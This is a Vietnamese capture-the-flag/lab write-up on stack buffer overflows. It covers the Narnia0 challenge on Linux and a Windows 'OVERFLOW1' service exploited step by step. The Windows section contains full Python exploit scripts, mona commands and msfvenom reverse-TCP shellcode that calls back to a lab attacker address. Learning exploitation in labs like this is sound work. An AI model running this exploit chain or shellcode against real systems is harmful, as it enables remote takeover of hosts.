# Buffer Overflows in Linux
:::info
Mục tiêu: Lấy được pass tại thư file `/etc/pass_narnia/narnia1`
:::
## info
Sử dụng lệnh `file` để xác định nó là file gì

- Nó là file thực thi 32bit linux
- CPU sử dụng là Intel 86 -> little edian
## source code analysis
Source code của file như sau:
```C=
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
```
Ta chú ý đoạn code:
```C=
long val = 0x41414141;
char buf[20];
scanf("%24s", &buf);
if (val == 0xdeadbeef) {
setreuid(...);
system("/bin/sh");
}
```
- Biến `val` được khởi tạo bằng hex `0x41414141` = `AAAA`
- Biến `buf` được khai báo sau và có 20 ký tự tức là kích thước 20 bytes, nhưng hàm `scanf()` cho phép ta nhập đến 24 ký tự, điều này cho phép ta nhập thừa ra 4 byte nhảy vào `val`.
- Ở câu điều kiện, nếu ghi đúng giá trị `val` = `0xdeadbeef`, chương trình sẽ mở shell với quyền người dùng tiếp theo (`narnia1`)
## exploit
Chuyển `0xdeadbeef` sang hex sau đó đảo ngược lại (đã xác định ở bước [recon](#recon))

Như đã xác định ở bước phân tích [source code](#narnia0c) ta cần nhập vào tổng là 24byte trong đó 4 byte cuối ta cần ghi đè `\xef\xbe\xad\xde` để chuyển thành `0xdeadbeef` và 20 byte đầu nhập tùy ý. Để dễ quan sát ta sẽ truyền 20byte đầu là `AAAA...` = ``0x414141...``
```
print('A'*20+)+'\xef\xbe\xad\xde'
```
Tuy nhiên khi chạy sẽ xảy ra lỗi, sau khi hỏi chatGPT thì nó trả cách xử lý lỗi như sau
- `print()` trong Python 3 tự động thêm ký tự newline `\n` vào cuối chuỗi — điều này làm lệch stack.
- Ngoài ra, `stdout` của Python 3 là Unicode, không phải bytes thô (binary-safe), nên chuỗi `\xef\xbe\xad\xde` có thể bị mã hóa sai khi in ra (thành ký tự lạ: `ï¾`)
Để sửa lại đúng lệnh khai thác, ta dùng như sau
```
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\xef\xbe\xad\xde')"; cat ;)| ./narnia0
```
> shell được tạo nhưng không tương tác được, hoặc lập tức thoát ra nên ta sẽ bổ sung thêm lệnh `cat` để giữ `stdin` mở, vì `cat` chờ nhập tiếp

## debug with gdb
Phần này sẽ phân tích bằng cách debug để xem nó hoạt động như thế nào. Đầu tiên ta sẽ xác định địa chỉ của hai biến được khai báo. Có thể thấy biến `val` ở `0x080491e4` (bên cạnh cũng thấy giá trị hex `AAAA` = `0x41414141`)
Biến `buf` có thể xác định bằng cách cộng 20 byte được tính như sau
```
# set disassembly-flavor intel
0x1c + 0x14 (20) = 0x30
```

Để xem 2 biến này được gán ở vị trí nào và thực thi ra sao, ta sẽ đặt breakpoint ở `main` và địa chỉ sau khi `scanf` chạy xong. Ảnh dưới `gdb` đã gán nhãn được luôn đây chính là địa chỉ `scanf`

Bắt đầu `run` chương trình để chạy `main` sau đó `continue` để truyền `buf` vào, lúc này truyền vào 20 ký tự B, lý do truyền vào B để ta có thể nhìn dễ nhất (`0x42`)

Từ ảnh trên có thể thấy 20 byte đã được truyền vào, 4 byte sau chính là `val` đang được gán `0x41414141`. Mục tiêu nhắm tới chính là ghi đè 4 byte này
Để thực hiện khai thác, ta dùng lệnh sau
```
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'B'*20 + b'\xef\xbe\xad\xde')"; cat ;)
```

Byte được ghi đè thành công, đồng thời shell đã được mở

> `gdb` mặc định chỉ theo dõi (attach) process cha. Khi hàm vfork hoàn tất, `gdb` tự động tách (detach) khỏi process con vừa sinh ra và in thông báo "Detaching after vfork from child process 162495"
> process con (pid `162495`) tiếp tục chạy bình thường, nhưng không còn nằm dưới sự điều khiển của`gdb` vì ta vẫn đang debug process cha.
# Buffer Overflows in Windows
:::info
Mục tiêu: Xâm nhập được vào máy từ xa
:::
## info
Sử dụng lệnh `file` để xác định nó là file gì

- Nó là file thực thi 32bit windows
- CPU sử dụng là Intel 86 -> little edian
Vì lần này file được chạy từ
## Analysis and Draft PoC
### Fuzzing Parameters
Như có thể thấy, param đi sau khi nhập `OVERFLOW1` để khởi động là điểm duy nhất ta có thể khai thác BOF khi nc vào địa chỉ IP

Tạo 5000 ký tự sau đó cho vào chương trình để kiểm tra


Chương trình đã bị crash như hình bên -> xác định lại lần nữa có thể BOF

### PoC
```py=
import socket, time, sys
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
```
Tiếp theo ta sẽ xác định offset để thao túng EIP
## Controlling EIP
Bây giờ chạy debug để biết nó crash thì lúc đó nó đang bị ghi đè tại vị trí nào. Ta sẽ dùng [Immunity Debugger](https://github.com/kbandla/ImmunityDebugger)
### Creating Unique Pattern
```
┌──(kali㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8<...SNIP...>
```
Load chuỗi vào chương trình

> (Chương trình khi chưa load chuỗi vào)

> (Chương trình khi load chuỗi vào)
Khi ta nhìn debuger, nó sẽ có một số dấu hiệu như hiển thị pop-up thông báo nó đang không hiểu địa chỉ này hoặc góc cuối bên phải chữ màu vàng **Paused** thay cho trạng thái **Running** là dấu hiệu của việc chương trình bị crash

### Calculating EIP Offset
Lấy địa chỉ EIP mà nó bị crash để reverse vị trí
```
┌──(kali㉿kali)-[~]
└─$ /usr/bin/msf-pattern_offset -q 6F43396E
[*] Exact match at offset 1978
```
Từ đây offset sẽ là `1978` sau đó là 4 byte của return address
### PoC
```py=
import socket, time, sys
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = 'A' * offset
retn = "BBBB"
padding = "\x90" * 32
```
## Checking for Bad Characters
### Generating All Characters
Tạo sẽ tạo byte array từ `0x01` → `0xff`
```
!mona bytearray -b "\x00"
```

### Comparing Input
Sau khi thực hiện, chúng ta có thể bắt đầu so sánh đầu vào của mình trong bộ nhớ và xem liệu có ký tự nào bị thiếu hay không. Ta sẽ chạy PoC để nó tự động load vào chương trình
```py=
import socket
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = "\x90" * 32
shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
shellcode +="\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
shellcode +="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
shellcode +="\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
shellcode +="\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
shellcode +="\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
shellcode +="\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = prefix + overflow + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending payload...")
s.send(payload + "\r\n")
print("Done!")
except:
print("Cant connect")
```

Khi đã có giá trị của ESP, chúng ta có thể sử dụng lệnh `!mona compare` và cung cấp địa chỉ ESP cùng với vị trí của tệp `.bin` chứa tất cả các ký tự
```
!mona compare -f C:\Users\DELL\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a 0176FA30
```

Thông báo trên có 4 byte bad char là do các byte chắn trước đó dẫn đến các byte sau lỗi theo nên ta phải thử từng ký tự trước, do loại `00` từ đầu nên ta sẽ thử tiếp với `07`

Lặp lại quá trình tìm được bad character là `\x00\x07\x2e\xa0`

### PoC
```py=
import socket
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = "\x90" * 32
shellcode = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x>
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\>
shellcode +="\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x>
shellcode +="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x>
shellcode +="\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x>
shellcode +="\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\x>
shellcode +="\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\x>
shellcode +="\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\x>
payload = prefix + overflow + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending payload...")
s.send(payload + "\r\n")
print("Done!")
except:
print("Cant connect")
```
## Finding a Return Address
Khi ta đã xác nhận có thể kiểm soát địa chỉ được lưu trong EIP khi chương trình thực thi lệnh trả về `ret`. Ta sử dụng một lệnh `JMP ESP`, điều hướng luồng thực thi đến ESP. Bắt đầu tìm kiếm lệnh này
```
!mona jmp -r esp -cpb "\x00"
```

Có thể thấy chương trình đang load đến dll có tên `essfunc.dll` và nó chứa lệnh `jmp esp`. Ta sẽ cố gắng tìm các lệnh mà các kiểm tra chống BOF `ASLR`, `CFG` được tắt, tuy nhiên thì ở đây ở các lệnh đều được tắt hết nên tâ có thể lấy bất kỳ địa chỉ nào
### PoC
```py=
import socket
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "0x625011af"
padding = "\x90" * 32
shellcode = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x>
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\>
shellcode +="\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x>
shellcode +="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x>
shellcode +="\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x>
shellcode +="\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\x>
shellcode +="\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\x>
shellcode +="\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\x>
payload = prefix + overflow + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending payload...")
s.send(payload + "\r\n")
print("Done!")
except:
print("Cant connect")
```
## Generating Shellcode with Metasploit
```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.190.148 LPORT=4444 -b "\x00\x07\x2e\xa0" -f py -v shellcode
shellcode = b""
shellcode += b"\xba\x30\xcd\x8a\xe8\xda\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x83\xc7\x04\x31\x57\x0e"
shellcode += b"\x03\x67\xc3\x68\x1d\x7b\x33\xee\xde\x83\xc4"
shellcode += b"\x8f\x57\x66\xf5\x8f\x0c\xe3\xa6\x3f\x46\xa1"
shellcode += b"\x4a\xcb\x0a\x51\xd8\xb9\x82\x56\x69\x77\xf5"
shellcode += b"\x59\x6a\x24\xc5\xf8\xe8\x37\x1a\xda\xd1\xf7"
shellcode += b"\x6f\x1b\x15\xe5\x82\x49\xce\x61\x30\x7d\x7b"
shellcode += b"\x3f\x89\xf6\x37\xd1\x89\xeb\x80\xd0\xb8\xba"
shellcode += b"\x9b\x8a\x1a\x3d\x4f\xa7\x12\x25\x8c\x82\xed"
shellcode += b"\xde\x66\x78\xec\x36\xb7\x81\x43\x77\x77\x70"
shellcode += b"\x9d\xb0\xb0\x6b\xe8\xc8\xc2\x16\xeb\x0f\xb8"
shellcode += b"\xcc\x7e\x8b\x1a\x86\xd9\x77\x9a\x4b\xbf\xfc"
shellcode += b"\x90\x20\xcb\x5a\xb5\xb7\x18\xd1\xc1\x3c\x9f"
shellcode += b"\x35\x40\x06\x84\x91\x08\xdc\xa5\x80\xf4\xb3"
shellcode += b"\xda\xd2\x56\x6b\x7f\x99\x7b\x78\xf2\xc0\x13"
shellcode += b"\x4d\x3f\xfa\xe3\xd9\x48\x89\xd1\x46\xe3\x05"
shellcode += b"\x5a\x0e\x2d\xd2\x9d\x25\x89\x4c\x60\xc6\xea"
shellcode += b"\x45\xa7\x92\xba\xfd\x0e\x9b\x50\xfd\xaf\x4e"
shellcode += b"\xf6\xad\x1f\x21\xb7\x1d\xe0\x91\x5f\x77\xef"
shellcode += b"\xce\x40\x78\x25\x67\xea\x83\xae\x48\x43\x35"
shellcode += b"\xba\x21\x96\x49\xd2\xed\x1f\xaf\xbe\x1d\x76"
shellcode += b"\x78\x57\x87\xd3\xf2\xc6\x48\xce\x7f\xc8\xc3"
shellcode += b"\xfd\x80\x87\x23\x8b\x92\x70\xc4\xc6\xc8\xd7"
shellcode += b"\xdb\xfc\x64\xbb\x4e\x9b\x74\xb2\x72\x34\x23"
shellcode += b"\x93\x45\x4d\xa1\x09\xff\xe7\xd7\xd3\x99\xc0"
shellcode += b"\x53\x08\x5a\xce\x5a\xdd\xe6\xf4\x4c\x1b\xe6"
shellcode += b"\xb0\x38\xf3\xb1\x6e\x96\xb5\x6b\xc1\x40\x6c"
shellcode += b"\xc7\x8b\x04\xe9\x2b\x0c\x52\xf6\x61\xfa\xba"
shellcode += b"\x47\xdc\xbb\xc5\x68\x88\x4b\xbe\x94\x28\xb3"
shellcode += b"\x15\x1d\x58\xfe\x37\x34\xf1\xa7\xa2\x04\x9c"
shellcode += b"\x57\x19\x4a\x99\xdb\xab\x33\x5e\xc3\xde\x36"
shellcode += b"\x1a\x43\x33\x4b\x33\x26\x33\xf8\x34\x63"
```
### PoC
```
import socket
ip = "192.168.190.156"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = '\xaf\x11\x50\x62'
padding = '\x90' * 32
shellcode = b""
shellcode += b"\xba\x30\xcd\x8a\xe8\xda\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x83\xc7\x04\x31\x57\x0e"
shellcode += b"\x03\x67\xc3\x68\x1d\x7b\x33\xee\xde\x83\xc4"
shellcode += b"\x8f\x57\x66\xf5\x8f\x0c\xe3\xa6\x3f\x46\xa1"
shellcode += b"\x4a\xcb\x0a\x51\xd8\xb9\x82\x56\x69\x77\xf5"
shellcode += b"\x59\x6a\x24\xc5\xf8\xe8\x37\x1a\xda\xd1\xf7"
shellcode += b"\x6f\x1b\x15\xe5\x82\x49\xce\x61\x30\x7d\x7b"
shellcode += b"\x3f\x89\xf6\x37\xd1\x89\xeb\x80\xd0\xb8\xba"
shellcode += b"\x9b\x8a\x1a\x3d\x4f\xa7\x12\x25\x8c\x82\xed"
shellcode += b"\xde\x66\x78\xec\x36\xb7\x81\x43\x77\x77\x70"
shellcode += b"\x9d\xb0\xb0\x6b\xe8\xc8\xc2\x16\xeb\x0f\xb8"
shellcode += b"\xcc\x7e\x8b\x1a\x86\xd9\x77\x9a\x4b\xbf\xfc"
shellcode += b"\x90\x20\xcb\x5a\xb5\xb7\x18\xd1\xc1\x3c\x9f"
shellcode += b"\x35\x40\x06\x84\x91\x08\xdc\xa5\x80\xf4\xb3"
shellcode += b"\xda\xd2\x56\x6b\x7f\x99\x7b\x78\xf2\xc0\x13"
shellcode += b"\x4d\x3f\xfa\xe3\xd9\x48\x89\xd1\x46\xe3\x05"
shellcode += b"\x5a\x0e\x2d\xd2\x9d\x25\x89\x4c\x60\xc6\xea"
shellcode += b"\x45\xa7\x92\xba\xfd\x0e\x9b\x50\xfd\xaf\x4e"
shellcode += b"\xf6\xad\x1f\x21\xb7\x1d\xe0\x91\x5f\x77\xef"
shellcode += b"\xce\x40\x78\x25\x67\xea\x83\xae\x48\x43\x35"
shellcode += b"\xba\x21\x96\x49\xd2\xed\x1f\xaf\xbe\x1d\x76"
shellcode += b"\x78\x57\x87\xd3\xf2\xc6\x48\xce\x7f\xc8\xc3"
shellcode += b"\xfd\x80\x87\x23\x8b\x92\x70\xc4\xc6\xc8\xd7"
shellcode += b"\xdb\xfc\x64\xbb\x4e\x9b\x74\xb2\x72\x34\x23"
shellcode += b"\x93\x45\x4d\xa1\x09\xff\xe7\xd7\xd3\x99\xc0"
shellcode += b"\x53\x08\x5a\xce\x5a\xdd\xe6\xf4\x4c\x1b\xe6"
shellcode += b"\xb0\x38\xf3\xb1\x6e\x96\xb5\x6b\xc1\x40\x6c"
shellcode += b"\xc7\x8b\x04\xe9\x2b\x0c\x52\xf6\x61\xfa\xba"
shellcode += b"\x47\xdc\xbb\xc5\x68\x88\x4b\xbe\x94\x28\xb3"
shellcode += b"\x15\x1d\x58\xfe\x37\x34\xf1\xa7\xa2\x04\x9c"
shellcode += b"\x57\x19\x4a\x99\xdb\xab\x33\x5e\xc3\xde\x36"
shellcode += b"\x1a\x43\x33\x4b\x33\x26\x33\xf8\x34\x63"
payload = prefix + overflow + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending payload...")
s.send(payload + "\r\n")
print("Done!")
except:
print("Cant connect")
```
## Gaining Code Execution

Ở góc nhìn khác ta dễ dàng thấy được `cmd.exe` được gọi ra
